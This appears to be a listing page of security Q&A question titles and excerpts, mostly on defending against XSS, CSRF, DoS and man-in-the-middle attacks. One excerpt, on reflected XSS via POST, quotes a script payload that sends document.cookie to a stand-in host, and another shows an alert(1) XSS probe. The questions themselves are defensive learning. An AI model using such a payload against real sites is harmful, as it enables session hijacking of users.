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prevention of an attack vector (e.g. XSS, HPP, CSRF)

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Isn't a HIDS, NIDS and WAF complementary?

Assume this scenario: Someone trying to hack a website. Simply put: www.site.com/example.php?=<script>alert(1)</script> A HIDS would see this attempt in Apache's access log, a NIDS would ...
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How to react when under attack

Just this week someone has been trying to attack the server of the company where I work. I have noticed that they have been trying to brute force root via ssh. fail2ban is handling that well and I ...
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Unknown hijacker/popups on the browser

I was cleaning my father’s laptop which was recently infected by a fairly tenacious piece of malware. It hasn't given any great clues as to what it is named or anything of that sort and thus far ...
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Employee Snooping [closed]

I just got hired at this SW tech company with a few IT gurus in it. There is a clever genius that is suspect. He obtained my personal home email address I use. It was obtained from company ...
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Have I done enough not be compromised through image uploading

I know that you can never be sure that you have done enough to be secure, and I also know that file uploading is hard to make correct. Before asking this question I read some of the related posts here ...
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Why don't servers vulnerable to NTP and DNS reflection attacks get blacklisted immediately?

With these reflection attacks, the source IP should be the IP of the vulnerable server. So shouldn't nodes which see abnormal amounts of NTP data be able to add the source to a blacklist and therefore ...
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CSRF prevention understanding

I was searching around about CSRF attacks and I am thinking about the "random form token" prevention concept. Let's say every form has a "hidden token" inside and the server checks the token before ...
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Disable HNAP on D-Link router

I'm concerned that Home Network Administration Protocol (HNAP) is a serious vulnerability that exposes consumer network routers to remote management by malicious entities such as government ...
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How do I solve a lot of Failure Audit (529 680) which are appearing in event viewer “Security” tab?

was trying to consume an Web Services that I have published on the Web but I couldn't thing is that when I got into the server and check the "Event Viewer" I have a LOT of "Failure Audit" and they ...
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Are smart watches secure?

My Pebble smartwatch, like many (most?) other smart watches, uses Bluetooth Low Energy (Bluetooth Smart, BLE, BTLE, etc) to communicate with my smart phone. There's some security in the link, ...
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To what extend can a DOS attack succeed even if it was detected?

While reading DOS detection and prevention http://staffweb.cms.gre.ac.uk/~lg47/publications/LoukasOke-DoSSurveyComputerJournal.pdf I've asked myself: Even if a firewall detects a DOS attack and begins ...
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Which exploit types does software diversity have a benefit against?

This classical paper of Paul van Oorschot: Revisiting Software Protection, mentions in section 3.4 that by employing software diversity "an exploit crafted to succeed on one instance will not ...
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Escaping rich text editor output

When having a rich text editor on a web application, what is the best way to escape HTML entities and prevent XSS attacks but keep the formatting (<b>, <i>, <u>, ...etc.) ?
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What kind of virus attack is this? And what do I do now?

I have just inherited a running wordpress installation from another agency and the theme (twentyeleven) they are using for my client has been corrupted. This is what most of the theme's php files ...
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Basic Security Knowledge [closed]

Perhaps I am being both naive and overly ambitious in my first post but I have a huge interest in learning about network and system security and am at a loss as to where to begin. I realize that stack ...
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Is it possible to prevent a physical attack on full disk encryption?

I've been researching into some methods to ensure that disk encryption keys can't be stolen, and one that I've come across is called TRESOR. With this kernel patch, you can create a partition that is ...
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How much is ASLR effectiveness impacted by different ABIs?

Linux has multiple x86 ABIs: ia32, x32 and x86_64. ia32 and x32 both use 32 bit addresses for addressing and x86_64 uses 64 bit. Now, the question: Since the size of the memory space should affect ...
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Should Content in <noscript> Blocks Be Escaped

The title pretty much says it all. It seems counter-intuitive to escape inside a <noscript> block because any js that an attacker is able to inject there shouldn't be executed. But, I'm still ...
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Using skype for an attack

I am curious about something; let's say someone randomly added me to Skype and tried to initiate a chat with me and I want to know more about them but I am worried if they can do some damage. My ...
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Possible exploits for PHPword/ PHPexcel

I'm trying to identify what exploits to guard against when anonymous users generate reports with PHPword and PHPexcel (or similar libraries). Specifically, I'm worried about textarea inputs where ...
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How to detect anomalous activity in web server traffic?

I'm wondering how to successfully detect malicious activity in my web server traffic? Could you point me out some popular solutions which can help me to detect attacks on my web application? I ...
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Arbitrary methods directly callable with Front Controller pattern

I'm working on converting an application that uses the traditional Page Controller pattern to start using the Front Controller pattern. One of the potential problems I'm thinking about is that with a ...
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How can I protect myself against programs that turn the webcam on without the indicator light? [duplicate]

Webcams can be turned on without the indicator light: to prevent unwanted use, I wonder whether there exist applications warning that the webcam is being used, or any other kind of protection. ...
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What is the difference between SYN cookie, SYN cache, and SYN proxy?

I am trying to understand some techniques regarding SYN flood prevention and there are three terms I couldn't find a clear explanation of. The terms that are confusing me are: SYN Proxy SYN Cache ...
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Risks and prevention methods associated with flagging or downvoting?

Similar to bots posting spam posts and blogs is it possible that bots with legible registered accounts go around the site flagging or downvoting everything on the site. If yes, what can I do to ...
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What methods are there of protecting a VPS from DDOS attacks? [duplicate]

I was just wondering what would be the best way to stop a VPS from being attacked, bandwidth would be a problem in this case so methods that reduce the amount of incoming attacks and stop sending ...
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File-structure when using token

I'm using a form-token to secure the validation process of my php-file. Basically the structure of the php-file looks like this: if ($_POST) {//form has been submitted? if (validateFormToken) { ...
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Submit form with token

I have a token that I want to use to prevent direct access of some php-files. Some of these php-files are loaded via AJAX. The token is used with a session to secure form submission AND to prevent ...
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Commonly used url parameters [duplicate]

I'm working on a project that requires me to tamper with/rewrite url parameters. I'd also like to add in something that finds request parameters such as ?admin=false ?debugging=false ?page=example ...
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How can I stop this attack on my router?

After enabling system log on my Asus DSL-N10E router, I've got this message: DoS: Tcp SYN With Data Attack source=217.74.166.73 What does it mean? Is it a real danger on my network security? And ...
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How is “security word” safe from man in the middle attack?

In this bank site I read the following lines Item #2 - You will also need to create a "Security Word". This allows you to verify that you have reached our Internet Banking site, and not some other ...
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3000 new contacts being added to gmail after receiving an email

Recently I realized that there are three thousand contacts with same name and email address in my Google contacts. The name belongs to an email that I have recently received and responded to, nothing ...
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Is this site vulnerable to sql injection? [closed]

I have my site build from a company. I read about website vulnerabilities on the internet and i did some test on my site. It throws these errors. QueryString key:TutorialId was expected to be of ...
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What steps need to do to identify security hole

I use VPS hosting. Installed CentOS 6 and ZPanel according to this tutorial http://www.zvps.co.uk/zpanelcp/centos-6 Received warning from hosting provider: This URL has been identified as a phishing ...
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Stack Guard vs Stack Shield

I would like to know why nowadays Stack Guard is used everywhere (example: ProPolice in GCC, /GS in Visual Studio), instead of Stack Shield. Both the approaches (i.e. Stack Guard & Stack Shield) ...
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Android, how do I prevent Confused Deputy Attacks?

In case that a malicious mobile app hasn't the appropriate permissions to e.g. download a file, it can invoke a browser to download sth. Concrete examples of such an attack are shown from page 27 to ...
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Is the system bios and network card protected by the OS firewall?

My question arises from trying to understand new types of spyware that target the system bios and/or network card. Is the system bios and ethernet card both protected by an OS firewall set to deny ...
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Reflected XSS attack via POST request and XML payload

I know that a reflected XSS can be done with a GET request like: http://site.com?search=<script>location.href='http://hackers.com?sessionToken='+document.cookie;</script> As long the ...
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XSS prevention for RESTful services

A RESTful service is currently protected against XSS attacks by applying XML schema- and entity validation. In both cases this is done via a regular expression like: <xs:pattern ...
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CSRF prevention for RESTful services

Am I right If I claim on that there doesn't exist any reliable protection against CSRF for a stateles environment today? I have a RESTful service (build with RESTEasy) that needs to be secured against ...
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Server Detection Vectors

I have a web server, and I would like to anonymise it as much as possible, to prevent unreported exploits directed at my web server (original cracks). My ideas: change server header customize 404 ...
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Windows user: Is having many active TCP connections normal?

Is this normal? Can any ports be "dangerous"? I have 9 tcp's in a listening state, 4 in a close_wait state, and 4 in an established state. Some of them route to odd procceses using PID such as ...
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Configure Firefox against malicious 302 redirect from a embedded image resource?

Today my friend demonstrated such a attack. I am using RenRen, a social networking website in a way very like Facebook in China. And I saw an article he wrote. Actually there is only an "image" ...
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Finding the method of attack [closed]

My server has been repeatedly attacked in the last few days. Here's the observations: The ISP server traffic monitor shows the incoming traffic goes up to 300Mbps (with no outgoing traffic), and ...
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Hardened SSL ciphers for Nginx as AWS/Cloudfront Custom Origin

Based on recommendations, we recently attempted to harden our Nginx SSL configuration against BEAST/CRIME/BREACH attacks with the following stanza: ssl_prefer_server_ciphers on; ssl_ciphers ...
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Is there an open source runtime enforcement tool?

I have been looking for open source runtime enforcement tools that I can use my own policies to prevent input validation vulnerabilities, in web applications. The web applications that I want to ...
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Prevent my site to be sniffed and changed by man-in-the-middle-attacks

I want to secure site which is locally used for Prepaid Services, the site has been hacked many times, for the first step, I implemented SSL and its now working fine, however, I want to be sure that ...
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Is it possible to recognise and prevent MitM attacks on devices which use self-signed SSL certs?

I use both Linux and Windows at work on a large enterprise LAN. The majority of the network configuration is out of my reach. Certain SaaS applications that are hosted locally on the enterprise LAN, ...
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Response to script-kiddies “scanning” website for vulnerabilities? [duplicate]

I have a website and I have email reports when 500 errors occur. Many of these errors occur because "hackers" are running scripts to look for common vulnerabilities or access to admin interfaces - ...
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Kerberos v4 compromised TGS [closed]

What would happen under the Kerberos v4 protocol if an attacker has compromised TGS and identified the Ktgs key? What would be the outcomes of such an attack?